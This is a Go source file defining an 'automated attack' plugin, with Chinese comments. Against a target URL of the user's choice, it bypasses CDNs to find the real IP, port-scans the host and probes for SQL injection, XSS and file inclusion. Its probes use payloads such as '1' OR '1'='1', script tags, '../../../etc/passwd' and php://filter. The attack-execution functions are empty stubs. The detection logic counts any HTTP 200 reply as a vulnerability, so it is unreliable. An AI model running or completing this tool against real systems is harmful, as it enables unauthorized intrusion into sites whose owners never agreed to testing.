package plugins

import (
	"fmt"
	"ip-parser/internal/logger"
	"net"
	"net/http"
	"net/url"
	"sync"
	"time"
)

// AutoAttackPlugin 自动化攻击插件
type AutoAttackPlugin struct {
	results map[string]interface{}
	mu      sync.RWMutex
	logger  *logger.Logger
}

// NewAutoAttackPlugin 创建新的自动化攻击插件
func NewAutoAttackPlugin() *AutoAttackPlugin {
	return &AutoAttackPlugin{
		results: make(map[string]interface{}),
		logger:  logger.NewLogger(),
	}
}

// GetDescription 获取插件描述
func (p *AutoAttackPlugin) GetDescription() string {
	return "自动化攻击流程：从URL分析到攻击执行"
}

// GetRequiredParams 获取插件所需参数
func (p *AutoAttackPlugin) GetRequiredParams() []PluginParamInfo {
	return []PluginParamInfo{
		{
			Name:        "url",
			Description: "目标URL",
			Required:    true,
			Default:     "",
		},
	}
}

// Execute 执行自动化攻击
func (p *AutoAttackPlugin) Execute(args map[string]interface{}) error {
	// 获取目标URL
	targetURL, ok := args["url"].(string)
	if !ok {
		return fmt.Errorf("缺少必要参数: url")
	}

	p.logger.Separator()
	p.logger.Info("开始自动化攻击流程")
	p.logger.Info("目标URL: %s", targetURL)

	// 1. 分析目标获取真实IP
	p.logger.Info("正在分析目标...")
	realIP, err := p.analyzeTarget(targetURL)
	if err != nil {
		return fmt.Errorf("目标分析失败: %v", err)
	}
	p.logger.Success("发现真实IP: %s", realIP)

	// 2. 信息收集
	p.logger.Info("正在收集目标信息...")
	services, err := p.gatherInfo(realIP)
	if err != nil {
		return fmt.Errorf("信息收集失败: %v", err)
	}

	// 显示发现的服务
	var serviceRows [][]string
	for port, service := range services {
		serviceRows = append(serviceRows, []string{
			fmt.Sprintf("%d", port),
			service,
		})
	}
	p.logger.Table(
		[]string{"端口", "服务"},
		serviceRows,
	)

	// 3. 漏洞扫描
	p.logger.Info("正在扫描漏洞...")
	vulnerabilities, err := p.scanVulnerabilities(targetURL, realIP, services)
	if err != nil {
		return fmt.Errorf("漏洞扫描失败: %v", err)
	}

	// 显示发现的漏洞
	if len(vulnerabilities) > 0 {
		var vulnRows [][]string
		for _, vuln := range vulnerabilities {
			vulnRows = append(vulnRows, []string{vuln})
		}
		p.logger.Table(
			[]string{"漏洞类型"},
			vulnRows,
		)
	} else {
		p.logger.Warning("未发现漏洞")
	}

	// 4. 选择最优攻击方式
	attackMethod := p.selectBestAttack(vulnerabilities)
	p.logger.Info("选择攻击方式: %s", attackMethod)

	// 5. 执行攻击
	p.logger.Info("开始执行攻击...")
	err = p.executeAttack(attackMethod, targetURL, realIP, vulnerabilities)
	if err != nil {
		return fmt.Errorf("攻击执行失败: %v", err)
	}

	p.logger.Success("攻击流程完成")
	p.logger.Separator()
	return nil
}

// analyzeTarget 分析目标获取真实IP
func (p *AutoAttackPlugin) analyzeTarget(targetURL string) (string, error) {
	// 创建网络侦察插件实例
	netrecon := NewNetworkReconPlugin()

	// 准备参数
	args := map[string]interface{}{
		"target":     targetURL,
		"mode":       "full", // 使用完整模式，包括CDN绕过
		"scan_depth": "3",    // 使用更深入的扫描
	}

	// 执行网络侦察
	p.logger.Info("调用网络侦察插件分析目标...")
	err := netrecon.Execute(args)
	if err != nil {
		return "", fmt.Errorf("网络侦察失败: %v", err)
	}

	// 获取分析结果
	result := netrecon.GetLastResult()

	// 尝试获取真实IP
	if realIP, ok := result["real_ip"].(string); ok && realIP != "" {
		// 如果成功绕过CDN，使用真实IP
		return realIP, nil
	} else if primaryIP, ok := result["primary_ip"].(string); ok && primaryIP != "" {
		// 回退到主要IP
		return primaryIP, nil
	}

	// 如果网络侦察未能找到IP，回退到原始方法
	// 解析URL
	parsedURL, err := url.Parse(targetURL)
	if err != nil {
		return "", fmt.Errorf("URL解析失败: %v", err)
	}

	// 获取域名
	domain := parsedURL.Hostname()
	p.logger.Info("目标域名: %s", domain)

	// 尝试多种方法获取真实IP
	// 1. 直接DNS解析
	p.logger.Info("尝试DNS解析...")
	ips, err := net.LookupIP(domain)
	if err == nil && len(ips) > 0 {
		return ips[0].String(), nil
	}

	// 2. 尝试通过HTTP请求获取真实IP
	p.logger.Info("尝试HTTP请求获取...")
	client := &http.Client{
		Timeout: 5 * time.Second,
		CheckRedirect: func(req *http.Request, via []*http.Request) error {
			return http.ErrUseLastResponse
		},
	}

	req, err := http.NewRequest("GET", targetURL, nil)
	if err != nil {
		return "", err
	}

	// 添加特殊请求头
	req.Header.Set("X-Forwarded-For", "127.0.0.1")
	req.Header.Set("X-Real-IP", "127.0.0.1")
	req.Header.Set("CF-Connecting-IP", "127.0.0.1")

	resp, err := client.Do(req)
	if err != nil {
		return "", err
	}
	defer resp.Body.Close()

	// 从响应头中查找真实IP
	if ip := resp.Header.Get("X-Real-IP"); ip != "" {
		return ip, nil
	}
	if ip := resp.Header.Get("CF-Connecting-IP"); ip != "" {
		return ip, nil
	}

	return "", fmt.Errorf("无法获取真实IP")
}

// gatherInfo 收集目标信息
func (p *AutoAttackPlugin) gatherInfo(ip string) (map[int]string, error) {
	// 创建网络侦察插件实例
	netrecon := NewNetworkReconPlugin()

	// 准备参数
	args := map[string]interface{}{
		"target":     ip,
		"mode":       "basic",                                                    // 基础模式足够进行端口扫描
		"port_range": "21,22,23,25,53,80,443,3306,3389,5432,6379,8080,8443,9200", // 常见端口
	}

	// 执行网络侦察
	p.logger.Info("调用网络侦察插件进行端口扫描...")
	err := netrecon.Execute(args)
	if err != nil {
		return nil, fmt.Errorf("端口扫描失败: %v", err)
	}

	// 获取扫描结果
	result := netrecon.GetLastResult()

	// 构建服务映射
	services := make(map[int]string)
	if openPorts, ok := result["open_ports"].([]int); ok {
		if serviceNames, ok := result["services"].([]string); ok && len(serviceNames) == len(openPorts) {
			for i, port := range openPorts {
				services[port] = serviceNames[i]
			}
		} else {
			// 如果没有服务名，只记录端口
			for _, port := range openPorts {
				services[port] = "未知服务"
			}
		}
	}

	// 如果没有发现端口，返回错误
	if len(services) == 0 {
		return nil, fmt.Errorf("未发现开放端口")
	}

	return services, nil
}

// scanVulnerabilities 扫描漏洞
func (p *AutoAttackPlugin) scanVulnerabilities(targetURL, realIP string, services map[int]string) ([]string, error) {
	var vulnerabilities []string

	// 检查Web服务
	web80 := false
	web443 := false

	// 检查80端口
	if _, ok := services[80]; ok {
		web80 = true
	}

	// 检查443端口
	if _, ok := services[443]; ok {
		web443 = true
	}

	// 如果存在Web服务
	if web80 || web443 {
		p.logger.Info("检测Web服务漏洞...")

		// 检查SQL注入
		if p.checkSQLInjection(targetURL) {
			p.logger.Success("发现SQL注入漏洞")
			vulnerabilities = append(vulnerabilities, "SQL注入")
		}

		// 检查XSS
		if p.checkXSS(targetURL) {
			p.logger.Success("发现XSS漏洞")
			vulnerabilities = append(vulnerabilities, "XSS")
		}

		// 检查文件包含
		if p.checkFileInclusion(targetURL) {
			p.logger.Success("发现文件包含漏洞")
			vulnerabilities = append(vulnerabilities, "文件包含")
		}
	}

	// 检查SSH服务
	if _, ok := services[22]; ok {
		p.logger.Info("检测SSH服务漏洞...")
		if p.checkSSHVulnerability(realIP) {
			p.logger.Success("发现SSH弱密码漏洞")
			vulnerabilities = append(vulnerabilities, "SSH弱密码")
		}
	}

	// 检查数据库服务
	if _, ok := services[3306]; ok {
		p.logger.Info("检测MySQL服务漏洞...")
		if p.checkMySQLVulnerability(realIP) {
			p.logger.Success("发现MySQL弱密码漏洞")
			vulnerabilities = append(vulnerabilities, "MySQL弱密码")
		}
	}

	return vulnerabilities, nil
}

// selectBestAttack 选择最优攻击方式
func (p *AutoAttackPlugin) selectBestAttack(vulnerabilities []string) string {
	// 攻击方式优先级
	attackPriority := map[string]int{
		"SQL注入":    1,
		"文件包含":     2,
		"SSH弱密码":   3,
		"MySQL弱密码": 4,
		"XSS":      5,
	}

	var bestAttack string
	highestPriority := 999

	for _, vuln := range vulnerabilities {
		if priority, ok := attackPriority[vuln]; ok && priority < highestPriority {
			highestPriority = priority
			bestAttack = vuln
		}
	}

	return bestAttack
}

// executeAttack 执行攻击
func (p *AutoAttackPlugin) executeAttack(attackMethod, targetURL, realIP string, vulnerabilities []string) error {
	switch attackMethod {
	case "SQL注入":
		return p.executeSQLInjection(targetURL)
	case "文件包含":
		return p.executeFileInclusion(targetURL)
	case "SSH弱密码":
		return p.executeSSHAttack(realIP)
	case "MySQL弱密码":
		return p.executeMySQLAttack(realIP)
	case "XSS":
		return p.executeXSS(targetURL)
	default:
		return fmt.Errorf("不支持的攻击方式: %s", attackMethod)
	}
}

// 漏洞检测方法
func (p *AutoAttackPlugin) checkSQLInjection(url string) bool {
	payloads := []string{"'", "1' OR '1'='1", "1' AND '1'='1"}
	for _, payload := range payloads {
		resp, err := http.Get(url + "?id=" + payload)
		if err == nil {
			resp.Body.Close()
			if resp.StatusCode == 200 {
				return true
			}
		}
	}
	return false
}

func (p *AutoAttackPlugin) checkXSS(url string) bool {
	payloads := []string{"<script>alert(1)</script>", "<img src=x onerror=alert(1)>"}
	for _, payload := range payloads {
		resp, err := http.Get(url + "?q=" + payload)
		if err == nil {
			resp.Body.Close()
			if resp.StatusCode == 200 {
				return true
			}
		}
	}
	return false
}

func (p *AutoAttackPlugin) checkFileInclusion(url string) bool {
	payloads := []string{"../../../etc/passwd", "php://filter/convert.base64-encode/resource=index.php"}
	for _, payload := range payloads {
		resp, err := http.Get(url + "?file=" + payload)
		if err == nil {
			resp.Body.Close()
			if resp.StatusCode == 200 {
				return true
			}
		}
	}
	return false
}

func (p *AutoAttackPlugin) checkSSHVulnerability(ip string) bool {
	// 实现SSH漏洞检测
	return false
}

func (p *AutoAttackPlugin) checkMySQLVulnerability(ip string) bool {
	// 实现MySQL漏洞检测
	return false
}

// 攻击执行方法
func (p *AutoAttackPlugin) executeSQLInjection(url string) error {
	p.logger.Info("执行SQL注入攻击...")
	// 实现SQL注入攻击
	return nil
}

func (p *AutoAttackPlugin) executeFileInclusion(url string) error {
	p.logger.Info("执行文件包含攻击...")
	// 实现文件包含攻击
	return nil
}

func (p *AutoAttackPlugin) executeSSHAttack(ip string) error {
	p.logger.Info("执行SSH攻击...")
	// 实现SSH攻击
	return nil
}

func (p *AutoAttackPlugin) executeMySQLAttack(ip string) error {
	p.logger.Info("执行MySQL攻击...")
	// 实现MySQL攻击
	return nil
}

func (p *AutoAttackPlugin) executeXSS(url string) error {
	p.logger.Info("执行XSS攻击...")
	// 实现XSS攻击
	return nil
}
